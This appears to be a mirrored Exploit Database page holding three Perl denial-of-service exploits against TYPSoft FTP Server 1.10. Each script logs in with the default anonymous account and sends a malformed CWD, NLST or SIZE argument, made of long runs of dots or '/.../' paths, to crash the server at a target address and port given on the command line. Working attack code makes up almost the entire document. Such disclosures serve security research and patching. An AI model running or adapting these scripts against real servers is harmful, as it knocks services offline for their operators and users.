TYPSoft FTP Server 1.10 – Multiple Denial of Service Vulnerabilities

• Exploit Database
• 99 阅读

• 作者： Balazs Makany
  日期： 2012-02-07
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18469/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107

  #!/usr/bin/perl   # Exploit Title: Typsoft FTP Server DoS CWD command # Date: 02/06/2012 # Author: Balazs Makany # Software Link: http://sourceforge.net/projects/ftpserv/ # Version: 1.10 # Tested on: Windows 7 # (does not work on Windows XP) # # Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below. #   use IO::Socket;   $user = "USER anonymous\r\n"; $passw = "PASS anonymous@127.0.0.1\r\n"; $command = "CWD "; $dos_input = "."x250; $send = "\r\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ARGV[0]", PeerPort => "$ARGV[1]", );   $socket->recv($serverdata, 1024); print $serverdata;   $socket->send($user); $socket->recv($serverdata, 1024); $socket->send($passw); $socket->recv($serverdata, 1024); $socket->send($command.$dos_input.$send);     #!/usr/bin/perl   # Exploit Title: Typsoft FTP Server DoS NLST command # Date: 02/06/2012 # Author: Balazs Makany # Software Link: http://sourceforge.net/projects/ftpserv/ # Version: 1.10 # Tested on: Windows 7 # (does not work on Windows XP) # # Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below. #   use IO::Socket;   $user = "USER anonymous\r\n"; $passw = "PASS anonymous@127.0.0.1\r\n"; $command = "NLST "; $dos_input = "/.../.../.../.../.../"; $send = "\r\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ARGV[0]", PeerPort => "$ARGV[1]", );   $socket->recv($serverdata, 1024); print $serverdata;   $socket->send($user); $socket->recv($serverdata, 1024); $socket->send($passw); $socket->recv($serverdata, 1024); $socket->send($command.$dos_input.$send);     #!/usr/bin/perl   # Exploit Title: Typsoft FTP Server DoS SIZE command # Date: 02/06/2012 # Author: Balazs Makany # Software Link: http://sourceforge.net/projects/ftpserv/ # Version: 1.10 # Tested on: Windows 7 # (does not work on Windows XP) # # Please note, that you need to have a valid username/password to execute the malformed command on the server. The server comes with an enabled by default Anonymous account, which is used below. #   use IO::Socket;   $user = "USER anonymous\r\n"; $passw = "PASS anonymous@127.0.0.1\r\n"; $command = "SIZE "; $dos_input = "/.../.../.../.../.../"; $send = "\r\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ARGV[0]", PeerPort => "$ARGV[1]", );   $socket->recv($serverdata, 1024); print $serverdata;   $socket->send($user); $socket->recv($serverdata, 1024); $socket->send($passw); $socket->recv($serverdata, 1024); $socket->send($command.$dos_input.$send);